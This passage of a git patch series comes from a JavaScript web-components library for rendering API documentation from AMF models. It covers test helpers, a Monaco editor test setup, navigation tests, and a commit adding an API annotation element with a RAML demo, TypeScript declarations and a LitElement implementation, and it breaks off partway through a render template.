this._getValue(item, this.ns.aml.vocabularies.apiContract.method) === operation); + return { + endpoint, + operation: op, + }; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {ApiOperation} + */ + getOperation(model, endpoint, operation) { + const op = this.lookupOperation(model, endpoint, operation); + if (!op) { + throw new Error(`Unknown ${operation} operation for path ${endpoint}`); + } + const serializer = new AmfSerializer(model); + return serializer.operation(op); + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Payload[]} + */ + lookupPayloads(model, endpoint, operation) { + const op = this.lookupOperation(model, endpoint, operation); + const expects = this._computeExpects(op); + let payloads = this._computePayload(expects); + if (payloads && !Array.isArray(payloads)) { + payloads = [payloads]; + } + return payloads; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {ApiPayload[]} + */ + getPayloads(model, endpoint, operation) { + const payloads = this.lookupPayloads(model, endpoint, operation); + if (!payloads) { + throw new Error(`No payloads for path ${endpoint} and operation ${operation}`); + } + const serializer = new AmfSerializer(model); + return payloads.map(i => serializer.payload(i)); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {SecurityRequirement} + */ + lookupSecurity(model, name) { + this.amf = model; + const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ? + this._computeApi(model) : + model; + const declares = this._computeDeclares(webApi) || []; + let security = declares.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + const result = this._getValue(item, this.ns.aml.vocabularies.core.name) === name; + if (result) { + return result; + } + return this._getValue(item, this.ns.aml.vocabularies.security.name) === name; + }); + if (Array.isArray(security)) { + [security] = security; + } + if (!security) { + const references = this._computeReferences(model) || []; + for (let i = 0, len = references.length; i < len; i++) { + if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) { + continue; + } + security = this.lookupSecurity(references[i], name); + if (security) { + break; + } + } + } + return security; + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @return {ApiSecurityRequirement} + */ + getSecurity(model, name) { + const security = this.lookupSecurity(model, name); + if (!security) { + throw new Error(`No security named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.securityRequirement(security); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {Shape} + */ + lookupShape(model, name) { + this.amf = model; + const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ? + this._computeApi(model) : + model; + const declares = this._computeDeclares(webApi) || []; + let shape = declares.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return this._getValue(item, this.ns.w3.shacl.name) === name; + }); + if (Array.isArray(shape)) { + [shape] = shape; + } + if (!shape) { + const references = this._computeReferences(model) || []; + for (let i = 0, len = references.length; i < len; i++) { + if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) { + continue; + } + shape = this.lookupShape(references[i], name); + if (shape) { + break; + } + } + } + return shape; + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {ApiShapeUnion} + */ + getShape(model, name) { + const shape = this.lookupShape(model, name); + if (!shape) { + throw new Error(`No API shape named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.unknownShape(shape); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {CreativeWork} + */ + lookupDocumentation(model, name) { + this.amf = model; + const webApi = this._computeApi(model); + const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation); + const docs = this._ensureArray(webApi[key]); + return docs.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return this._getValue(item, this.ns.aml.vocabularies.core.title) === name; + }); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {ApiDocumentation} + */ + getDocumentation(model, name) { + const shape = this.lookupDocumentation(model, name); + if (!shape) { + throw new Error(`No documentation named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.documentation(shape); + } + + /** + * @param {AmfDocument} model + * @returns {WebApi} + */ + lookupEncodes(model) { + if (Array.isArray(model)) { + [model] = model; + } + this.amf = model; + const key = this._getAmfKey(this.ns.aml.vocabularies.document.encodes); + let result = model[key]; + if (Array.isArray(result)) { + [result] = result; + } + return result; + } +} diff --git a/test/MonacoSetup.js b/test/MonacoSetup.js new file mode 100644 index 0000000..aeb615e --- /dev/null +++ b/test/MonacoSetup.js @@ -0,0 +1,55 @@ +// @ts-ignore +window.MonacoEnvironment = { + getWorker: (moduleId, label) => { + let url; + const prefix = 'node_modules/monaco-editor/esm/vs/'; + const langPrefix = `${prefix}language/`; + switch (label) { + case 'json': url = `${langPrefix}json/json.worker.js`; break; + case 'css': url = `${langPrefix}css/css.worker.js`; break; + case 'html': url = `${langPrefix}html/html.worker.js`; break; + case 'javascript': + case 'typescript': url = `${langPrefix}typescript/ts.worker.js`; break; + default: url = `${prefix}editor/editor.worker.js`; break; + } + return new Worker(url, { + type: 'module' + }); + } +} + +export async function loadMonaco() { + let interval; + return new Promise((resolve) => { + interval = setInterval(() => { + // @ts-ignore + if (window.monaco) { + clearInterval(interval); + resolve(); + } + }, 20); + }); +} + + +(() => { + // @ts-ignore + if (window.monaco) { + return; + } + // @ts-ignore + window.require = { paths: { vs: 'node_modules/monaco-editor/min/vs' } }; + + function loadScript(src) { + const script = document.createElement('script'); + script.src = src; + script.defer = false; + script.async = false; + script.type = "text/javascript"; + document.getElementsByTagName('head')[0].appendChild(script); + } + + loadScript('node_modules/monaco-editor/min/vs/loader.js'); + loadScript('node_modules/monaco-editor/min/vs/editor/editor.main.nls.js'); + loadScript('node_modules/monaco-editor/min/vs/editor/editor.main.js'); +})(); diff --git a/test/elements/ApiDocumentationDocumentElement.test.js b/test/elements/ApiDocumentationDocumentElement.test.js new file mode 100644 index 0000000..06c99bc --- /dev/null +++ b/test/elements/ApiDocumentationDocumentElement.test.js @@ -0,0 +1,166 @@ +import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; +import sinon from 'sinon'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-documentation-document.js'; + +/** @typedef {import('../../').ApiDocumentationDocumentElement} ApiDocumentationDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ + +describe('ApiDocumentationDocumentElement', () => { + const loader = new AmfLoader(); + const apiFile = 'documented-api'; + + /** + * @param {AmfDocument} amf + * @param {CreativeWork} graph + * @returns {Promise} + */ + async function graphFixture(amf, graph) { + const element = await fixture(html``); + // there's a debouncer set for the domainModel change + await aTimeout(2); + await nextFrame(); + return /** @type ApiDocumentationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {string} domainId + * @returns {Promise} + */ + async function domainIdFixture(amf, domainId) { + const element = await fixture(html``); + // there's a debouncer set for the domainId change + await aTimeout(2); + await nextFrame(); + return /** @type ApiDocumentationDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Initialization', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, apiFile); + }); + + it('initializes the component with the domainId', async () => { + const docs = loader.getDocumentation(model, 'Test docs'); + const element = await domainIdFixture(model, docs.id); + const title = element.shadowRoot.querySelector('.documentation-header'); + assert.ok(title, 'has the documentation title'); + const description = element.shadowRoot.querySelector('.api-description'); + assert.ok(description, 'has the description'); + }); + + it('initializes the component with the graph model', async () => { + const docs = loader.lookupDocumentation(model, 'Test docs'); + const element = await graphFixture(model, docs); + const title = element.shadowRoot.querySelector('.documentation-header'); + assert.ok(title, 'has the documentation title'); + const description = element.shadowRoot.querySelector('.api-description'); + assert.ok(description, 'has the description'); + }); + }); + + describe('Basics', () => { + /** @type ApiDocumentationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + /** @type CreativeWork */ + let docs; + + before(async () => { + model = await loader.getGraph(compact, apiFile); + docs = loader.lookupDocumentation(model, 'Test docs'); + }); + + beforeEach(async () => { + element = await graphFixture(model, docs); + }); + + it('has the #model', () => { + assert.typeOf(element.model, 'object'); + }); + + it('renders the title', () => { + const title = element.shadowRoot.querySelector('.documentation-title .label'); + assert.ok(title, 'has the label node'); + assert.equal(title.textContent.trim(), 'Test docs', 'has the title value'); + }); + + it('passes the markdown to the "arc-marked" element', () => { + const node = element.shadowRoot.querySelector('arc-marked'); + assert.typeOf(node.markdown, 'string'); + }); + }); + + describe('Navigation', () => { + /** @type ApiDocumentationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + /** @type CreativeWork */ + let docs; + /** @type NodeListOf */ + let anchors; + + before(async () => { + model = await loader.getGraph(compact, apiFile); + docs = loader.lookupDocumentation(model, 'Read this!'); + }); + + beforeEach(async () => { + element = await graphFixture(model, docs); + anchors = element.shadowRoot.querySelectorAll('a'); + }); + + it('cancels navigation to a relative path', () => { + const node = anchors[0]; + const spy = sinon.spy(); + element.addEventListener('click', spy); + node.click(); + assert.isFalse(spy.called); + }); + + it('allows absolute paths', () => { + const node = anchors[1]; + let called = false; + element.addEventListener('click', (e) => { + called = true; + e.preventDefault(); + }); + node.click(); + assert.isTrue(called); + }); + + it('allows mailto: paths', () => { + const node = anchors[2]; + let called = false; + element.addEventListener('click', (e) => { + called = true; + e.preventDefault(); + }); + node.click(); + assert.isTrue(called); + }); + + it('ignores other clicks', () => { + const spy = sinon.spy(); + element.addEventListener('click', spy); + const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.markdown-body')); + node.click(); + assert.isTrue(spy.called); + }); + }); + }); + }); +}); diff --git a/test/api-documentation.test.js b/test/old/api-documentation.no-test.js similarity index 99% rename from test/api-documentation.test.js rename to test/old/api-documentation.no-test.js index efc2812..31cbb4f 100644 --- a/test/api-documentation.test.js +++ b/test/old/api-documentation.no-test.js @@ -1,10 +1,10 @@ /* eslint-disable no-shadow */ import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; import * as sinon from 'sinon/pkg/sinon-esm.js'; -import { AmfLoader } from './amf-loader.js'; -import '../api-documentation.js'; +import { AmfLoader } from '../amf-loader.js'; +import '../../api-documentation.js'; -/** @typedef {import('..').ApiDocumentationElement} ApiDocumentationElement */ +/** @typedef {import('../..').ApiDocumentationElement} ApiDocumentationElement */ describe('ApiDocumentationElement', () => { /** From ba3b669cc402d77b202b2a7010df8432f3aa0a32 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 16:23:33 -0700 Subject: [PATCH 05/24] feat: adding API Annotation element Signed-off-by: Pawel Psztyc --- .gitignore | 5 +- api-annotation-document.d.ts | 7 + api-annotation-document.js | 3 + demo/annotated-api/annotated-api.raml | 82 ++++++ demo/api-annotation.html | 16 ++ demo/api-annotation.js | 125 +++++++++ demo/api-channel.js | 3 +- demo/api-documentation.js | 11 +- demo/api-operation.js | 3 +- demo/api-resource.js | 3 +- demo/api-security-documentation.js | 4 +- demo/index.html | 2 + demo/model.mjs | 5 +- index.d.ts | 1 + index.js | 1 + .../ApiAnnotationDocumentElement.d.ts | 85 ++++++ src/elements/ApiAnnotationDocumentElement.js | 245 ++++++++++++++++++ src/elements/ApiDocumentationBase.d.ts | 8 +- src/elements/ApiDocumentationBase.js | 39 ++- .../ApiDocumentationDocumentElement.js | 3 +- src/elements/ApiOperationDocumentElement.js | 2 + src/elements/ApiParameterDocumentElement.js | 3 +- .../ApiParametrizedSecuritySchemeElement.js | 4 +- src/elements/ApiPayloadDocumentElement.js | 3 +- src/elements/ApiRequestDocumentElement.js | 3 +- .../ApiResourceDocumentationElement.js | 5 +- src/elements/ApiResponseDocumentElement.js | 3 +- src/elements/ApiSchemaDocumentElement.js | 3 +- src/elements/ApiSecurityDocumentElement.js | 3 +- src/elements/styles/ApiAnnotation.js | 32 +++ .../styles/ApiDocumentationDocument.js | 11 +- src/elements/styles/Common.js | 17 +- test/AmfLoader.js | 13 +- .../ApiAnnotationDocumentElement.test.js | 130 ++++++++++ web-test-runner.config.mjs | 7 - 35 files changed, 831 insertions(+), 59 deletions(-) create mode 100644 api-annotation-document.d.ts create mode 100644 api-annotation-document.js create mode 100644 demo/annotated-api/annotated-api.raml create mode 100644 demo/api-annotation.html create mode 100644 demo/api-annotation.js create mode 100644 src/elements/ApiAnnotationDocumentElement.d.ts create mode 100644 src/elements/ApiAnnotationDocumentElement.js create mode 100644 src/elements/styles/ApiAnnotation.js create mode 100644 test/elements/ApiAnnotationDocumentElement.test.js diff --git a/.gitignore b/.gitignore index 6775e3f..0764df0 100644 --- a/.gitignore +++ b/.gitignore @@ -59,7 +59,6 @@ coverage demo/vendor.js # AMF models -/demo/*.json -!demo/apis.json +demo/apis/ -.idea/ \ No newline at end of file +.idea/ diff --git a/api-annotation-document.d.ts b/api-annotation-document.d.ts new file mode 100644 index 0000000..7e46f34 --- /dev/null +++ b/api-annotation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiAnnotationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-annotation-document": Element; + } +} diff --git a/api-annotation-document.js b/api-annotation-document.js new file mode 100644 index 0000000..e54c310 --- /dev/null +++ b/api-annotation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiAnnotationDocumentElement.js'; + +window.customElements.define('api-annotation-document', Element); diff --git a/demo/annotated-api/annotated-api.raml b/demo/annotated-api/annotated-api.raml new file mode 100644 index 0000000..fca3e1c --- /dev/null +++ b/demo/annotated-api/annotated-api.raml @@ -0,0 +1,82 @@ +#%RAML 1.0 +title: Illustrating annotations +mediaType: application/json + +annotationTypes: + annotationTest: nil + deprecated: string + experimental: nil | string + feedbackRequested: string? + testHarness: + type: string # This line can be omitted as it's the default type + badge: # This annotation type allows string values, too + clearanceLevel: + properties: + level: + enum: [ low, medium, high ] + required: true + signature: + pattern: "\\d{3}-\\w{12}" + required: true +types: + nilAnnotationType: + (annotationTest): + type: object + properties: + test: boolean + ErrorResource: + (deprecated): This resource type is deprecated and will be removed in the next version. + description: A response that is errored + type: object + properties: + error: + type: boolean + required: true + example: true + default: true + description: Indicate that the response is errored. + message: + type: string + description: The error message associated with the error. + example: <> + required: true + notRequiredRepeatable: + (annotationTest): + type: object + properties: + test: boolean + ComplexAnnotations: + (clearanceLevel): + level: high + signature: 230-ghtwvfrs1itr + type: object + properties: + test: string + ComboType: + (annotationTest): + (deprecated): This is deprecated annotation + (clearanceLevel): + level: low + signature: OtherSignature + type: object + properties: + test: string + NoAnnotations: + type: object + properties: + test: string +/groups: + (experimental): + (feedbackRequested): +/users: + (testHarness): usersTest + (badge): tested.gif + (clearanceLevel): + level: high + signature: 230-ghtwvfrs1itr + get: + (deprecated): This is deprecated annotation + (experimental): + (feedbackRequested): Feedback committed! + responses: + 200: diff --git a/demo/api-annotation.html b/demo/api-annotation.html new file mode 100644 index 0000000..d6c3d3f --- /dev/null +++ b/demo/api-annotation.html @@ -0,0 +1,16 @@ + + + + + + + API Annotation + + + + +
    + + + + diff --git a/demo/api-annotation.js b/demo/api-annotation.js new file mode 100644 index 0000000..ac5c981 --- /dev/null +++ b/demo/api-annotation.js @@ -0,0 +1,125 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-annotation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'shape', + ]); + this.shape = undefined; + this.componentName = 'api-annotation-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type } = e.detail; + if (type === 'type') { + this.setTypeData(selected); + } else if (type === 'endpoint') { + this.setEndpointData(selected); + } else if (type === 'method') { + this.setMethodData(selected); + } else { + this.shape = undefined; + } + console.log(this.shape); + } + + /** + * @param {string} id + */ + setTypeData(id) { + const declares = this._computeDeclares(this.amf); + const type = declares.find((item) => item['@id'] === id); + if (!type) { + console.error('Type not found'); + return; + } + this.shape = type; + } + + /** + * @param {string} id + */ + setEndpointData(id) { + const webApi = this._computeWebApi(this.amf); + this.shape = this._computeEndpointModel(webApi, id); + } + + /** + * @param {string} id + */ + setMethodData(id) { + const webApi = this._computeWebApi(this.amf); + this.shape = this._computeMethodModel(webApi, id); + } + + contentTemplate() { + return html` +

    API annotation

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API annotation document with various configuration options. +

    + +
    + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, shape, amf } = this; + if (!shape) { + return html`

    Select API object in the navigation

    `; + } + return html` + + + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['annotated-api', 'Annotated API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-channel.js b/demo/api-channel.js index 46874b3..9e660a2 100644 --- a/demo/api-channel.js +++ b/demo/api-channel.js @@ -115,8 +115,7 @@ class ComponentPage extends AmfDemoBase { ['Streetlights', 'Streetlights API'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; - // ${label} + ${label}`; }); return result; } diff --git a/demo/api-documentation.js b/demo/api-documentation.js index 71ed72e..d7f6436 100644 --- a/demo/api-documentation.js +++ b/demo/api-documentation.js @@ -6,11 +6,10 @@ import '@advanced-rest-client/arc-demo-helper/arc-demo-helper.js'; import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; import '@api-components/api-navigation/api-navigation.js'; import '@api-components/api-request/xhr-simple-request.js'; -import '@polymer/paper-toast/paper-toast.js'; import '@anypoint-web-components/anypoint-styles/colors.js'; import '@anypoint-web-components/anypoint-styles/typography.js'; -import '@advanced-rest-client/oauth-authorization/oauth2-authorization.js'; -import '@advanced-rest-client/oauth-authorization/oauth1-authorization.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@advanced-rest-client/authorization/oauth1-authorization.js'; import '../api-documentation.js'; class ComponentDemo extends ApiDemoPage { @@ -60,7 +59,6 @@ class ComponentDemo extends ApiDemoPage { _apiListTemplate() { const result = []; - [ ['google-drive-api', 'Google Drive'], ['multi-server', 'Multiple servers'], @@ -80,8 +78,7 @@ class ComponentDemo extends ApiDemoPage { ['async-api', 'async-api'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} - compact model - ${label}`; + ${label}`; }); [ @@ -90,7 +87,7 @@ class ComponentDemo extends ApiDemoPage { ['partial-model/security', 'Partial model: Security'], ['partial-model/type', 'Partial model: Type'], ].forEach(([file, label]) => { - result[result.length] = html`${label}`; + result[result.length] = html`${label}`; }); return result; } diff --git a/demo/api-operation.js b/demo/api-operation.js index 87a09a8..6929d51 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -148,9 +148,8 @@ class ComponentPage extends AmfDemoBase { ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} + ${label} `; - // ${label} }); return result; } diff --git a/demo/api-resource.js b/demo/api-resource.js index cb04f82..779f278 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -159,8 +159,7 @@ class ComponentPage extends AmfDemoBase { ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; - // ${label} + ${label}`; }); return result; } diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js index 1ab1733..79230ff 100644 --- a/demo/api-security-documentation.js +++ b/demo/api-security-documentation.js @@ -94,7 +94,6 @@ class ComponentPage extends AmfDemoBase { _apiListTemplate() { const result = []; - [ ['demo-api', 'Demo API'], ['api-keys', 'API key (OAS)'], @@ -105,8 +104,7 @@ class ComponentPage extends AmfDemoBase { ['secured-api', 'Secured API'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} - compact model - ${label}`; + ${label} - compact model`; }); return result; } diff --git a/demo/index.html b/demo/index.html index 6951755..4e06316 100644 --- a/demo/index.html +++ b/demo/index.html @@ -25,6 +25,8 @@

    Documentation viewers

    A documentation viewer for an schema (data type).
    Api security schema documentation
    A documentation viewer for an security schema.
    +
    Api annotation
    +
    An annotation render element.
    diff --git a/demo/model.mjs b/demo/model.mjs index 4299350..118e246 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -38,5 +38,8 @@ config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); +config.set('annotated-api/annotated-api.raml', { type: "RAML 1.0" }); -generator.generate(config); +generator.generate(config, { + dest: 'demo/apis/' +}); diff --git a/index.d.ts b/index.d.ts index f043d67..3839ac9 100644 --- a/index.d.ts +++ b/index.d.ts @@ -7,4 +7,5 @@ export { default as ApiResponseDocumentElement } from './src/elements/ApiRespons export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement'; export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement'; export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement'; +export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement'; export * as Utils from './src/lib/Utils'; diff --git a/index.js b/index.js index aa8d5f3..071ba32 100644 --- a/index.js +++ b/index.js @@ -7,4 +7,5 @@ export { default as ApiResponseDocumentElement } from './src/elements/ApiRespons export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement.js'; export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement.js'; export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement.js'; +export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement.js'; export * as Utils from './src/lib/Utils.js'; diff --git a/src/elements/ApiAnnotationDocumentElement.d.ts b/src/elements/ApiAnnotationDocumentElement.d.ts new file mode 100644 index 0000000..353c95d --- /dev/null +++ b/src/elements/ApiAnnotationDocumentElement.d.ts @@ -0,0 +1,85 @@ +import { LitElement, TemplateResult } from 'lit-element'; +import { AmfHelperMixin, DomainElement, ApiDomainProperty, ApiCustomDomainProperty, ApiScalarNode, ApiObjectNode } from '@api-components/amf-helper-mixin'; + +export const shapeValue: unique symbol; +export const processShape: unique symbol; +export const propertiesValue: unique symbol; +export const propertyTemplate: unique symbol; +export const processVisibility: unique symbol; +export const scalarValue: unique symbol; +export const annotationWrapperTemplate: unique symbol; +export const scalarTemplate: unique symbol; +export const objectTemplate: unique symbol; +export const objectScalarPropertyTemplate: unique symbol; + +/** + * An element to render annotations (also known as custom properties) + * from AMF model. + * + * Annotations are part of RAML language and API console supports it. + * The element looks for annotations in model and renders them. + */ +export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) { + /** + * A domain property that may have custom domain properties + */ + shape: DomainElement; + /** + * Serialized with `ApiSerializer` API domain model. + * This is to be used instead of `shape`. + */ + domainModel: ApiDomainProperty; + /** + * Computed value, true if any custom property has been found. + */ + get hasCustomProperties(): boolean; + + /** + * List of custom properties in the shape. + */ + get customProperties(): ApiCustomDomainProperty[] | undefined; + /** + * List of custom properties in the shape. + */ + set customProperties(value: ApiCustomDomainProperty[]); + + /** + * Called when the shape property change. + * Sets `hasCustomProperties` and `customList` properties. + * + * Note that for performance reasons, if the element determine that there's + * no custom properties wit will not clear `customList`. + * It will be updated only if the value actually change. + */ + [processShape](): void; + + [processVisibility](): void; + + [scalarValue](scalar: ApiScalarNode): any; + + render(): TemplateResult; + + /** + * @returns The template for the custom property. + */ + [propertyTemplate](property: ApiCustomDomainProperty): TemplateResult | string; + + /** + * @param name The annotation name + * @param content The content tp render. + * @returns The template for the custom property. + */ + [annotationWrapperTemplate](name: string, content: unknown): TemplateResult; + /** + * @returns The template for the custom property. + */ + [scalarTemplate](name: string, scalar: ApiScalarNode): TemplateResult; + /** + * @returns The template for the custom property. + */ + [objectTemplate](name: string, object: ApiObjectNode): TemplateResult; + /** + * @returns The template for the custom property. + */ + [objectScalarPropertyTemplate](name: string, scalar: ApiScalarNode): TemplateResult; +} diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js new file mode 100644 index 0000000..a90531f --- /dev/null +++ b/src/elements/ApiAnnotationDocumentElement.js @@ -0,0 +1,245 @@ +/* eslint-disable class-methods-use-this */ +/* eslint-disable no-param-reassign */ +import { LitElement, html } from 'lit-element'; +import { AmfHelperMixin, AmfSerializer, ns } from '@api-components/amf-helper-mixin'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import elementStyles from './styles/ApiAnnotation.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDomainProperty} ApiDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiObjectNode} ApiObjectNode */ +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ + +export const shapeValue = Symbol('shapeValue'); +export const processShape = Symbol('processShape'); +export const propertiesValue = Symbol('propertiesValue'); +export const propertyTemplate = Symbol('propertyTemplate'); +export const processVisibility = Symbol('processVisibility'); +export const scalarTemplate = Symbol('scalarTemplate'); +export const objectTemplate = Symbol('objectTemplate'); +export const annotationWrapperTemplate = Symbol('annotationWrapperTemplate'); +export const scalarValue = Symbol('scalarValue'); +export const objectScalarPropertyTemplate = Symbol('objectScalarPropertyTemplate'); + +/** + * An element to render annotations (also known as custom properties) + * from AMF model. + * + * Annotations are part of RAML language and API console supports it. + * The element looks for annotations in model and renders them. + */ +export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) { + get styles() { + return elementStyles; + } + + /** + * @returns {DomainElement|undefined} + */ + get shape() { + return this[shapeValue]; + } + + /** + * @param {DomainElement} value + */ + set shape(value) { + const oldValue = this[shapeValue]; + if (oldValue === value) { + return; + } + this[shapeValue] = value; + this[processShape](); + } + + /** + * Serialized with `ApiSerializer` API domain model. + * This is to be used instead of `shape`. + * @returns {ApiDomainProperty|undefined} + */ + get domainModel() { + return this[shapeValue]; + } + + /** + * @param {ApiDomainProperty} value + */ + set domainModel(value) { + const oldValue = this[shapeValue]; + if (oldValue === value) { + return; + } + this[shapeValue] = value; + this[processShape](); + } + + /** + * @returns {boolean} `true` if any custom property has been found. + */ + get hasCustomProperties() { + const properties = this[propertiesValue]; + return Array.isArray(properties) && !!properties.length; + } + + /** + * @returns {ApiCustomDomainProperty[]|undefined} List of custom properties in the shape. + */ + get customProperties() { + return this[propertiesValue]; + } + + /** + * @param {ApiCustomDomainProperty[]} value + */ + set customProperties(value) { + const old = this[propertiesValue]; + if (old === value) { + return; + } + this[propertiesValue] = value; + this[processVisibility](); + this.requestUpdate(); + } + + constructor() { + super(); + /** @type ApiCustomDomainProperty[] */ + this[propertiesValue] = undefined; + } + + /** + * Called when the shape property change. + * Sets `hasCustomProperties` and `customList` properties. + * + * Note that for performance reasons, if the element determine that there's + * no custom properties wit will not clear `customList`. + * It will be updated only if the value actually change. + */ + [processShape]() { + const shape = /** @type DomainElement */ (this[shapeValue]); + this[propertiesValue] = undefined; + if (!shape) { + return; + } + const serializer = new AmfSerializer(this.amf); + const result = serializer.customDomainProperties(shape); + if (Array.isArray(result) && result.length) { + this[propertiesValue] = result; + } + this[processVisibility](); + this.requestUpdate(); + } + + [processVisibility]() { + const { hasCustomProperties } = this; + if (hasCustomProperties) { + this.setAttribute('aria-hidden', 'false'); + this.removeAttribute('hidden'); + } else { + this.setAttribute('aria-hidden', 'true'); + this.setAttribute('hidden', 'true'); + } + } + + /** + * @param {ApiScalarNode} scalar + * @returns {any} + */ + [scalarValue](scalar) { + let { value='' } = scalar; + if (value === 'nil') { + value = ''; + } + return value; + } + + render() { + const { hasCustomProperties, customProperties } = this; + if (!hasCustomProperties) { + return ''; + } + const content = customProperties.map((property) => this[propertyTemplate](property)); + return html` + + ${content} + `; + } + + /** + * @param {ApiCustomDomainProperty} property + * @returns {TemplateResult|string} The template for the custom property. + */ + [propertyTemplate](property) { + const { types, extensionName } = property; + const unknown = /** @type unknown */ (property); + if (types.includes(ns.aml.vocabularies.data.Scalar)) { + return this[scalarTemplate](extensionName, /** @type ApiScalarNode */ (unknown)); + } + if (types.includes(ns.aml.vocabularies.data.Object)) { + return this[objectTemplate](extensionName, /** @type ApiObjectNode */ (unknown)); + } + return ''; + } + + /** + * @param {string} name The annotation name + * @param {unknown} content The content tp render. + * @returns {TemplateResult} The template for the custom property. + */ + [annotationWrapperTemplate](name, content) { + return html` +
    + +
    + ${name} + ${content || ''} +
    +
